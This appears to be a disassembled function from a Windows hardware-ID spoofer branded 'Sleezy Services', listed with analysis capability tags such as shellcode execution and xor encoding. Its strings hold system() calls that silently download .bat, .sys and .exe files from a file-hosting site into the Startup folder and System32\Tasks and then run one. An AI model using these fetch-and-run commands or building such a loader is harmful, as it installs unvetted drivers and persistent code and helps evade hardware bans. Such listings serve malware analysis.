Function at 0x140042f40
Capabilities:
Allocate or change rwx memory
Delete file
Encode data using xor
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x200
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1401720c0]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rcx, qword [0x140245fa0]
call fcn.140010920
mov rdx, qword [0x140172128]
call fcn.1400344f0
mov rbx, qword [0x140245070]
mov rax, qword [rbx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov r14, qword [rbx + 0x3ef0]
movss xmm0, dword [r14 + 0x28]
subss xmm0, dword [0x1401580ac]
movss xmm1, dword [0x14015808c]
unpcklps xmm0, xmm1
movq rdx, xmm0
call fcn.140036010
test al, al
je 0x140043017
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [0x140245910]
call fcn.140010920
movss xmm1, dword [r14 + 0x2c]
subss xmm1, dword [0x1401580c0]
movss xmm11, dword [0x140158088]
movaps xmm0, xmm11
unpcklps xmm0, xmm1
movq rdx, xmm0
call fcn.1400365e0
movss xmm1, dword [0x140245928]
movss dword [rbx + 0x37f0], xmm1
xor r12d, r12d
lea rdi, [0x1401508be]
movss xmm2, dword [0x140158014]
movss xmm3, dword [0x140158024]
movss xmm10, dword [0x140158114]
movss xmm6, dword [0x140157fc8]
movss xmm13, dword [0x14015810c]
movss xmm9, dword [0x1401580a0]
movss xmm8, dword [0x1401580d8]
xorps xmm14, xmm14
cmp dword [0x1402458f8], r12d
jne 0x14004323f
mov rax, qword [0x140245070]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x60], r12d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, xmm3
addss xmm0, xmm1
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x60]
lea rax, [rbp + 0x30]
comiss xmm14, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x40]
comiss xmm0, xmm2
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140245928], xmm0
movss xmm2, dword [r14 + 0x28]
subss xmm2, xmm10
mulss xmm2, xmm6
movss xmm1, dword [0x1401580f4]
unpcklps xmm2, xmm1
movq rdx, xmm2
call fcn.14003ad10
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140038fc0
movss xmm1, dword [0x140158094]
movss xmm2, dword [r14 + 0x28]
subss xmm2, xmm10
mulss xmm2, xmm6
lea r9, [rsp + 0x40]
movaps xmm0, xmm10
unpcklps xmm0, xmm1
movq r8, xmm0
unpcklps xmm2, xmm13
movq rdx, xmm2
lea rcx, str.Login
call fcn.140036fa0
test al, al
je 0x1400431f2
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rdx, [0x140245088]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x1400431b4
lea rcx, [rsp + 0x40]
call fcn.140038fc0
lea rdx, [rsp + 0x40]
lea rcx, [0x1402460e0]
call fcn.1400c8d20
cmp byte [0x140246310], r12b
je 0x1400431f2
mov dword [0x140245928], r12d
mov dword [0x1402458f8], 1
movss xmm2, dword [r14 + 0x2c]
subss xmm2, xmm9
movss xmm1, dword [r14 + 0x28]
subss xmm1, xmm8
movups xmm0, xmmword [0x1402457f0]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x40]
unpcklps xmm1, xmm2
movq rdx, xmm1
call fcn.140036870
movss xmm1, dword [0x140245928]
movss xmm2, dword [0x140158014]
movss xmm3, dword [0x140158024]
movss xmm15, dword [0x140158028]
movss xmm12, dword [0x140158174]
cmp dword [0x1402458f8], r12d
jle 0x1400436c8
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], r12d
mov rbx, qword [0x140245070]
movss xmm1, dword [rbx + 0x18]
addss xmm1, xmm1
mulss xmm1, xmm3
movaps xmm0, xmm1
addss xmm0, dword [0x14024592c]
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm14, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm0, xmm2
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x14024592c], xmm0
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], r12d
addss xmm1, dword [0x140245fa8]
movss dword [rbp + 0x30], xmm1
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm14, xmm1
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm1, xmm2
cmovbe rax, rcx
movss xmm6, dword [rax]
movss dword [0x140245fa8], xmm6
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
mov dword [rsp + 0x40], r12d
movss dword [rsp + 0x44], xmm0
lea rdx, [rsp + 0x40]
call fcn.14001a770
movss dword [rbx + 0x37f0], xmm6
mov rax, qword [0x140245070]
movss xmm0, dword [0x140245800]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x140245804]
movss dword [rsp + 0x44], xmm1
movss xmm0, dword [0x140245808]
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [0x14024580c]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x4c], xmm1
lea rcx, [rsp + 0x40]
call fcn.140004700
movss xmm2, dword [r14 + 0x24]
addss xmm2, dword [0x1401580c4]
movss xmm1, dword [r14 + 0x20]
movaps xmm0, xmm1
addss xmm0, dword [r14 + 0x28]
movss dword [rsp + 0x40], xmm0
movss dword [rsp + 0x44], xmm2
addss xmm1, xmm14
movss dword [rbp + 0x30], xmm1
movss dword [rbp + 0x34], xmm2
movss dword [rsp + 0x20], xmm15
mov r9d, eax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x30]
mov rcx, qword [r14 + 0x298]
call fcn.14001f460
mov rax, qword [0x140245070]
movss xmm0, dword [0x140245800]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x140245804]
movss dword [rsp + 0x44], xmm1
movss xmm0, dword [0x140245808]
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [0x14024580c]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x4c], xmm1
lea rcx, [rsp + 0x40]
call fcn.140004700
movss xmm0, dword [r14 + 0x2c]
subss xmm0, dword [0x140158064]
movss xmm3, dword [r14 + 0x24]
movaps xmm1, xmm3
addss xmm1, xmm0
movss xmm2, dword [r14 + 0x20]
movss xmm7, dword [0x1401580cc]
addss xmm2, xmm7
movss dword [rsp + 0x40], xmm2
movss dword [rsp + 0x44], xmm1
addss xmm3, dword [0x1401580c4]
movss dword [rbp + 0x30], xmm2
movss dword [rbp + 0x34], xmm3
movss dword [rsp + 0x20], xmm15
mov r9d, eax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x30]
mov rcx, qword [r14 + 0x298]
call fcn.14001f460
mov rax, qword [0x140245070]
movss xmm0, dword [0x140245800]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x140245804]
movss dword [rsp + 0x44], xmm1
movss xmm0, dword [0x140245808]
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [0x14024580c]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x4c], xmm1
lea rcx, [rsp + 0x40]
call fcn.140004700
movss xmm2, dword [r14 + 0x2c]
subss xmm2, xmm7
addss xmm2, dword [r14 + 0x24]
movss xmm1, dword [r14 + 0x20]
movaps xmm0, xmm1
addss xmm0, xmm7
movss dword [rsp + 0x40], xmm0
movss dword [rsp + 0x44], xmm2
addss xmm1, xmm14
movss dword [rbp + 0x30], xmm1
movss dword [rbp + 0x34], xmm2
movss dword [rsp + 0x20], xmm15
mov r9d, eax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x30]
mov rcx, qword [r14 + 0x298]
call fcn.14001f460
mov rcx, qword [0x140245930]
call fcn.140010920
cmp dword [0x1402458f8], 1
sete bl
mov rax, qword [0x140245070]
mov qword [rsp + 0x30], r12
lea rcx, [0x140150cac]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm12
movss xmm6, dword [0x140158164]
movaps xmm3, xmm6
movss xmm2, dword [rax + 0x3c40]
lea rdx, [rsp + 0x40]
mov rcx, qword [rax + 0x3c38]
call fcn.140024d20
movss xmm0, dword [rsp + 0x40]
movss xmm14, dword [0x14015800c]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movaps xmm1, xmm7
subss xmm1, xmm0
mulss xmm1, dword [0x140157fc8]
movzx r8d, bl
movss xmm2, dword [0x1401580f0]
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, str.G1
call fcn.140039fb0
test al, al
je 0x140043602
mov dword [0x140245928], r12d
mov eax, 1
mov dword [0x1402458f8], eax
mov dword [0x14024594c], r12d
mov dword [reloc.WS2_32.dll_ioctlsocket], 0xa
jmp 0x140043608
mov eax, dword [0x1402458f8]
cmp eax, 2
sete bl
mov rax, qword [0x140245070]
mov qword [rsp + 0x30], r12
lea rcx, [0x140150cb4]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm12
movaps xmm3, xmm6
movss xmm2, dword [rax + 0x3c40]
lea rdx, [rsp + 0x40]
mov rcx, qword [rax + 0x3c38]
call fcn.140024d20
movss xmm0, dword [rsp + 0x40]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm7, xmm1
mulss xmm7, dword [0x140157fc8]
movss xmm1, dword [0x140158104]
movzx r8d, bl
unpcklps xmm7, xmm1
movq rdx, xmm7
lea rcx, str.I1
call fcn.140039fb0
test al, al
je 0x1400436b1
mov dword [0x140245928], r12d
mov dword [0x1402458f8], 2
mov dword [reloc.WS2_32.dll_ioctlsocket], r12d
mov dword [0x14024594c], 0xa
call fcn.1400109c0
mov ecx, 1
call fcn.140004a60
movss xmm1, dword [0x140245928]
movss xmm7, dword [0x140158098]
cmp dword [0x1402458f8], 1
jne 0x14004378f
movss xmm6, dword [0x14024592c]
mov rbx, qword [0x140245070]
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
mov dword [rsp + 0x40], r12d
movss dword [rsp + 0x44], xmm0
lea rdx, [rsp + 0x40]
call fcn.14001a770
movss dword [rbx + 0x37f0], xmm6
cmp dword [0x14024594c], r12d
sete r8b
movaps xmm0, xmm8
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Announcements
call fcn.14003a540
test al, al
je 0x14004374a
mov eax, r12d
mov dword [0x14024594c], eax
jmp 0x140043750
mov eax, dword [0x14024594c]
cmp eax, 1
sete r8b
movaps xmm0, xmm13
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Instructions
call fcn.14003a540
test al, al
je 0x14004377d
mov dword [0x14024594c], 1
mov ecx, 1
call fcn.140004a60
movss xmm1, dword [0x140245928]
cmp dword [0x1402458f8], 2
jne 0x140043888
movss xmm6, dword [0x14024592c]
mov rbx, qword [0x140245070]
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
mov dword [rsp + 0x40], r12d
movss dword [rsp + 0x44], xmm0
lea rdx, [rsp + 0x40]
call fcn.14001a770
movss dword [rbx + 0x37f0], xmm6
cmp dword [reloc.WS2_32.dll_ioctlsocket], r12d
sete r8b
movaps xmm0, xmm8
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Device
call fcn.14003a540
test al, al
je 0x140043809
mov eax, r12d
mov dword [reloc.WS2_32.dll_ioctlsocket], eax
jmp 0x14004380f
mov eax, dword [reloc.WS2_32.dll_ioctlsocket]
cmp eax, 1
sete r8b
movss xmm0, dword [0x1401580fc]
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Spoofer
call fcn.14003a540
test al, al
je 0x140043843
mov eax, 1
mov dword [reloc.WS2_32.dll_ioctlsocket], eax
jmp 0x140043849
mov eax, dword [reloc.WS2_32.dll_ioctlsocket]
cmp eax, 2
sete r8b
movaps xmm0, xmm10
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Miscellaneous
call fcn.14003a540
test al, al
je 0x140043876
mov dword [reloc.WS2_32.dll_ioctlsocket], 2
mov ecx, 1
call fcn.140004a60
movss xmm1, dword [0x140245928]
movss xmm6, dword [0x1401580e0]
movss xmm13, dword [0x1401580a8]
xorps xmm7, xmm7
cmp dword [0x14024594c], 1
jne 0x140043992
cmp dword [0x1402458f8], r12d
jle 0x140043a9c
mov rax, qword [0x140245070]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, dword [0x140158024]
addss xmm0, xmm1
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm7, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x60]
movss xmm14, dword [0x140158014]
comiss xmm0, xmm14
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140245928], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r12
mov qword [rbp], r12
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.140038fc0
movss xmm0, dword [r14 + 0x28]
subss xmm0, xmm6
subss xmm0, xmm11
lea r9, [rbp - 0x18]
unpcklps xmm0, xmm13
movq r8, xmm0
movaps xmm1, xmm6
movss xmm0, dword [0x1401580d0]
unpcklps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.CLICK_ME_FOR_TUTORIAL
call fcn.140036fa0
test al, al
je 0x140043988
lea rcx, str.start_https:__sleezy_services.gitbook.io_sleezy_services_permanent_spoofer_setup
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm1, dword [0x140245928]
jmp 0x14004399b
movss xmm14, dword [0x140158014]
cmp dword [0x14024594c], r12d
jne 0x140043a9c
cmp dword [0x1402458f8], r12d
jle 0x140043a9c
mov rax, qword [0x140245070]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, dword [0x140158024]
addss xmm0, xmm1
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm7, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm0, xmm14
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140245928], xmm0
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, str.Changed_Drivers__overall_stability.
lea rcx, str.You_are_on_the_latest_Sleezy_Update__10_2_24
call fcn.140035c60
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, str.User_interface_improvements__bug_fixes__overall_stability.
lea rcx, str.Sleezy_V2__05_02_24
call fcn.140035c60
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, str.Updated_TPM_Bypass__UI_Changes__Inside_support__Bug__fixes.
lea rcx, str.Sleezy_V2__04_03_24
call fcn.140035c60
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, str.Revamped_LEGIT_Serials__Optimizations__Bug_fixes.
lea rcx, str.Sleezy_V2__03_22_24
call fcn.140035c60
movss xmm1, dword [0x140245928]
movss xmm14, dword [0x14015809c]
cmp dword [reloc.WS2_32.dll_ioctlsocket], r12d
jne 0x140043e92
cmp dword [0x1402458f8], r12d
jle 0x140049946
mov rax, qword [0x140245070]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, dword [0x140158024]
addss xmm0, xmm1
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm7, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm0, dword [0x140158014]
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140245928], xmm0
lea rdx, [0x140243d70]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movaps xmm0, xmm8
unpcklps xmm0, xmm14
movq r8, xmm0
mov rdx, rax
lea rcx, str.Motherboard_Manufacturer:
call fcn.1400351b0
lea rdx, [0x140243dd0]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq r8, xmm0
mov rdx, rax
lea rcx, str.Motherboard_Model:
call fcn.1400351b0
lea rdx, [0x140243d10]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movaps xmm0, xmm8
movss xmm1, dword [0x1401580ac]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Ethernet_Adapter:
call fcn.1400351b0
movss xmm6, dword [0x1401580b4]
lea rdx, [0x140243e10]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movaps xmm0, xmm8
unpcklps xmm0, xmm6
movq r8, xmm0
mov rdx, rax
lea rcx, str.Disk_Drives:
call fcn.1400351b0
movss xmm6, dword [0x1401580b8]
lea rdx, [0x140243d30]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movaps xmm0, xmm8
unpcklps xmm0, xmm6
movq r8, xmm0
mov rdx, rax
lea rcx, str.CPU:
call fcn.1400351b0
mov rax, qword [0x140245070]
movss xmm0, dword [0x140245790]
movss dword [rsp + 0x40], xmm0
movss xmm1, dword [0x140245794]
movss dword [rsp + 0x44], xmm1
movss xmm0, dword [0x140245798]
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [0x14024579c]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x4c], xmm1
lea rcx, [rsp + 0x40]
call fcn.140004700
movss xmm2, dword [r14 + 0x104]
addss xmm2, dword [0x1401580bc]
movss xmm1, dword [r14 + 0x100]
movaps xmm0, xmm1
addss xmm0, dword [r14 + 0x28]
movss dword [rsp + 0x40], xmm0
movss dword [rsp + 0x44], xmm2
addss xmm1, xmm8
movss dword [rbp + 0x30], xmm1
movss dword [rbp + 0x34], xmm2
movss dword [rsp + 0x20], xmm15
mov r9d, eax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x30]
mov rcx, qword [r14 + 0x298]
call fcn.14001f460
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 5
lea rdx, str.WIFI:
lea rcx, [rsp + 0x40]
call fcn.140038fc0
mov r9b, 1
lea r8, [0x140245938]
movaps xmm0, xmm8
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rsp + 0x40]
call fcn.1400356e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 0xa
lea rdx, str.Bluetooth:
lea rcx, [rsp + 0x40]
call fcn.140038fc0
xor r9d, r9d
lea r8, [0x140245948]
movss xmm0, dword [0x140158110]
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rsp + 0x40]
call fcn.1400356e0
movups xmm6, xmmword [0x140245830]
movss xmm7, dword [0x14015811c]
lea rdx, [0x140243df0]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movdqa xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x20], 1
lea r9, [rsp + 0x40]
movaps xmm0, xmm8
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.140034bd0
movups xmm6, xmmword [0x140245830]
movss xmm7, dword [0x140158120]
lea rdx, [0x140243d90]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movdqa xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x20], 1
lea r9, [rsp + 0x40]
movaps xmm0, xmm8
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.MAC_Address:
call fcn.140034bd0
movups xmm6, xmmword [0x140245830]
movss xmm7, dword [0x14015812c]
lea rdx, [0x140243d50]
lea rcx, [rbp - 0x38]
call fcn.140036bf0
movdqa xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x20], r12b
lea r9, [rsp + 0x40]
movaps xmm0, xmm8
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.UUID:
call fcn.140034bd0
movss xmm6, dword [0x140158134]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], r12
mov r8d, Ordinal_35
lea rdx, str.TPM__Trusted_Computing__Status:
lea rcx, [rbp + 8]
call fcn.140038fc0
xor r9d, r9d
lea r8, [0x140245949]
movaps xmm0, xmm8
unpcklps xmm0, xmm6
movq rdx, xmm0
lea rcx, [rbp + 8]
call fcn.1400356e0
movss xmm1, dword [0x140245928]
movss xmm6, dword [0x1401580e0]
xorps xmm15, xmm15
cmp dword [reloc.WS2_32.dll_ioctlsocket], 1
jne 0x140049802
mov rax, qword [0x140245070]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x40], r12d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, dword [0x140158024]
addss xmm0, xmm1
movss dword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x40]
lea rax, [rbp + 0x30]
comiss xmm15, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm0, dword [0x140158014]
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140245928], xmm0
movss xmm2, dword [r14 + 0x28]
subss xmm2, xmm6
subss xmm2, xmm11
movss xmm1, dword [0x1401580f8]
unpcklps xmm2, xmm1
movq r8, xmm2
movaps xmm1, xmm6
movss xmm0, dword [0x1401580d0]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140034210
mov rbx, qword [0x140245070]
lea rcx, [rbx + 0x4850]
movss xmm1, dword [rbx + 0x383c]
movss xmm0, dword [rbx + 0x3840]
mov dword [rsp + 0x40], reloc.WS2_32.dll_ntohl
movss dword [rsp + 0x44], xmm1
movss dword [rsp + 0x48], xmm0
lea rdx, [rsp + 0x40]
call fcn.14001a770
mov qword [rbx + 0x383c], r12
call fcn.1400393f0
mov rcx, qword [0x140245070]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
cmp byte [rax + 0xbb], r12b
jne 0x140043fbd
mov qword [rsp + 0x40], r12
movaps xmm1, xmm12
lea rcx, [rsp + 0x40]
call fcn.140013260
mov ecx, 1
call fcn.140004a60
call fcn.14000b1a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140038fc0
movss xmm0, dword [r14 + 0x28]
subss xmm0, xmm6
subss xmm0, xmm11
movss xmm2, dword [0x140158118]
lea r9, [rsp + 0x40]
unpcklps xmm0, xmm13
movq r8, xmm0
movaps xmm1, xmm6
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, str.PERMANENT_SPOOF
call fcn.140036fa0
test al, al
je 0x1400496ae
mov byte [0x140245069], 1
mov r9d, Ordinal_41
lea r8, str.Sleezy_Services__Permanent_Spoofer
lea rdx, str.Are_you_sure_you_want_to_spoof_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x1400497f9
movss xmm6, dword [0x140158090]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, Ordinal_32
lea rdx, str.Launched_Permanent_Spoofing_
lea rcx, [rsp + 0x40]
call fcn.140038fc0
nop
xorps xmm0, xmm0
unpcklps xmm0, xmm6
movq r8, xmm0
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.1400392d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400440e0
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400440db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044156
call fcn.14011fe94
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_33
lea rdx, str.Please_be_patient_while_we_spoof.
lea rcx, [rsp + 0x40]
call fcn.140038fc0
nop
xorps xmm0, xmm0
unpcklps xmm0, xmm14
movq r8, xmm0
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.1400392d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140044162
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004415d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004415d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, str.curl___silent_https:__files.catbox.moe_oh09l1.bat___output_C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupdisk.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_2mxhwn.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_v9ju88.bin___output_C:WindowsSystem32Tasks_fixserials.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasks_fixserials.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140156f28]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140156f38]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140156f48]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140156f58]
movsd qword [rbp - 0x48], xmm0
movzx eax, byte [0x140156f60]
mov byte [rbp - 0x40], al
mov r8d, r12d
movdqa xmm7, xmmword [0x140158270]
movdqa xmm11, xmmword [str.22222222222222228888888888888888]
movdqa xmm8, xmmword [0x140158260]
movdqa xmm6, xmmword [0x1401586c0]
movdqa xmm9, xmmword [0x140158210]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140044343
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov edx, dword [rbp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
